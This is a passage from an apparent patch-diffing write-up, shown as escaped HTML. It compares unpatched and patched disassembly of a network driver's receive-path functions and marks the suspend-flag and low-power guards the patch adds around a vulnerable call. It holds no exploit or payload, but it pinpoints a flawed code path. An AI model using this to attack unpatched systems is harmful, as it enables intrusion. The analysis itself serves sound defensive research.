class="nt"&gt;the&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;elapsed-time&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;cap&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;
&lt;span class="nt"&gt;0000000140010D98&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nt"&gt;rax&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="cp"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;r13&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="cp"&gt;]&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;r13&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;KUSER_SHARED_DATA&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;interrupt-time&lt;/span&gt;
&lt;span class="nt"&gt;0000000140010D9C&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;sub&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nt"&gt;rax&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;r15&lt;/span&gt;
&lt;span class="nt"&gt;0000000140010D9F&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nt"&gt;rax&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;989680h&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;10&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="nt"&gt;000&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="nt"&gt;000&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(~&lt;/span&gt;&lt;span class="nt"&gt;1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;second&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="nt"&gt;0000000140010DA5&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;ja&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="nt"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;loc_140010DDF&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;exit&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;elapsed&lt;/span&gt;
&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nt"&gt;no&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;suspend-flag&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;test&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;anywhere&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;in&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;the&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;unpatched&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;function&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;

&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;PATCHED&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;@&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;0x140010FA0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;—&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;adds&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;two&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;suspend-flag&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;tests&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;
&lt;span class="nt"&gt;0000000140010FE4&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;dword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="cp"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;rbx&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;44&lt;/span&gt;&lt;span class="nx"&gt;h&lt;/span&gt;&lt;span class="cp"&gt;]&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;8000000h&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;ADDED&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;early&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;exit&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;before&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;loop&lt;/span&gt;
&lt;span class="nt"&gt;0000000140010FEB&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;jnz&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nt"&gt;loc_14001112A&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;
&lt;span class="nt"&gt;0000000140011115&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nt"&gt;rax&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;989680h&lt;/span&gt;&lt;span class="w"&gt;                    &lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;same&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;~&lt;/span&gt;&lt;span class="nt"&gt;1s&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;time&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;cap&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;as&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;unpatched&lt;/span&gt;
&lt;span class="nt"&gt;000000014001111B&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;ja&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="nt"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;loc_14001112A&lt;/span&gt;
&lt;span class="nt"&gt;000000014001111D&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;dword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="cp"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;rbx&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;44&lt;/span&gt;&lt;span class="nx"&gt;h&lt;/span&gt;&lt;span class="cp"&gt;]&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;8000000h&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;ADDED&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;re-check&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;each&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;iteration&lt;/span&gt;
&lt;span class="nt"&gt;0000000140011124&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;jz&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="nt"&gt;loc_140010FFF&lt;/span&gt;&lt;span class="w"&gt;                   &lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;continue&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;only&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;not&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;suspending&lt;/span&gt;
&lt;span class="nt"&gt;000000014001112A&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;loop&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;exit&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3&gt;&lt;code&gt;NICStopRxPath&lt;/code&gt; vulnerable-call comparison&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;UNPATCHED&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;@&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;0x140012418&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;
&lt;span class="nt"&gt;00000001400124BE&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;sil&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;sil&lt;/span&gt;
&lt;span class="nt"&gt;00000001400124C1&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;jnz&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nt"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;loc_1400124D4&lt;/span&gt;
&lt;span class="nt"&gt;00000001400124C3&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nt"&gt;dword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="cp"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;rdi&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="nx"&gt;FF8h&lt;/span&gt;&lt;span class="cp"&gt;]&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;0&lt;/span&gt;
&lt;span class="nt"&gt;00000001400124CA&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;jnz&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nt"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;loc_1400124D4&lt;/span&gt;
&lt;span class="nt"&gt;00000001400124CC&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nt"&gt;rcx&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;rdi&lt;/span&gt;
&lt;span class="nt"&gt;00000001400124CF&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;NICCollectSplitRxPackets&lt;/span&gt;

&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;PATCHED&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;@&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;0x140012748&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;
&lt;span class="nt"&gt;00000001400127EE&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;sil&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;sil&lt;/span&gt;
&lt;span class="nt"&gt;00000001400127F1&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;jnz&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nt"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;loc_14001280D&lt;/span&gt;
&lt;span class="nt"&gt;00000001400127F3&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nt"&gt;dword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="cp"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;rdi&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;1028&lt;/span&gt;&lt;span class="nx"&gt;h&lt;/span&gt;&lt;span class="cp"&gt;]&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;0&lt;/span&gt;
&lt;span class="nt"&gt;00000001400127FA&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;jnz&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nt"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;loc_14001280D&lt;/span&gt;
&lt;span class="nt"&gt;00000001400127FC&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;dword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="cp"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;rdi&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;44&lt;/span&gt;&lt;span class="nx"&gt;h&lt;/span&gt;&lt;span class="cp"&gt;]&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;4000000h&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;ADDED&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;low-power&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nt"&gt;bit&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;26&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;guard&lt;/span&gt;
&lt;span class="nt"&gt;0000000140012803&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;jnz&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nt"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;loc_14001280D&lt;/span&gt;
&lt;span class="nt"&gt;0000000140012805&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nt"&gt;rcx&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;rdi&lt;/span&gt;
&lt;span class="nt"&gt;0000000140012808&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;NICCollectSplitRxPackets&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3&gt;&lt;code&gt;NICCollectSplitRxPackets&lt;/code&gt; (Unpatched @ 0x140010444) — bounded poll-wait, no buffer access&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="mf"&gt;0000000140010444&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="err"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rsp&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="n"&gt;arg_0&lt;/span&gt;&lt;span class="err"&gt;]&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rbx&lt;/span&gt;
&lt;span class="mf"&gt;0000000140010449&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;push&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;rdi&lt;/span&gt;
&lt;span class="mf"&gt;000000014001044&lt;/span&gt;&lt;span class="n"&gt;A&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;sub&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rsp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;20&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;
&lt;span class="mf"&gt;000000014001044&lt;/span&gt;&lt;span class="n"&gt;E&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rcx&lt;/span&gt;
&lt;span class="mf"&gt;0000000140010451&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;xor&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;ebx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ebx&lt;/span&gt;
&lt;span class="mf"&gt;0000000140010453&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;dword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rdi&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="n"&gt;F78h&lt;/span&gt;&lt;span class="err"&gt;]&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;poll&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;split&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;RX&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;pending&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;counter&lt;/span&gt;
&lt;span class="mf"&gt;000000014001045&lt;/span&gt;&lt;span class="n"&gt;A&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;jz&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="n"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;loc_14001047B&lt;/span&gt;&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kr"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;when&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;it&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;reaches&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;0&lt;/span&gt;
&lt;span class="mf"&gt;000000014001045&lt;/span&gt;&lt;span class="n"&gt;C&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;inc&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;ebx&lt;/span&gt;
&lt;span class="mf"&gt;000000014001045&lt;/span&gt;&lt;span class="n"&gt;E&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;51&lt;/span&gt;&lt;span class="n"&gt;EB851Fh&lt;/span&gt;
&lt;span class="mf"&gt;0000000140010463&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mul&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;ebx&lt;/span&gt;
&lt;span class="mf"&gt;0000000140010465&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;shr&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;edx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;5&lt;/span&gt;
&lt;span class="mf"&gt;0000000140010468&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;imul&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;ecx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;edx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;64&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;
&lt;span class="mf"&gt;000000014001046&lt;/span&gt;&lt;span class="n"&gt;B&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;ebx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ecx&lt;/span&gt;&lt;span class="w"&gt;                        &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ebx&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ebx&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mf"&gt;100&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="mf"&gt;100&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;?&lt;/span&gt;
&lt;span class="mf"&gt;000000014001046&lt;/span&gt;&lt;span class="n"&gt;D&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;jz&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="n"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;loc_14001047B&lt;/span&gt;&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kr"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;after&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;100&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;iterations&lt;/span&gt;
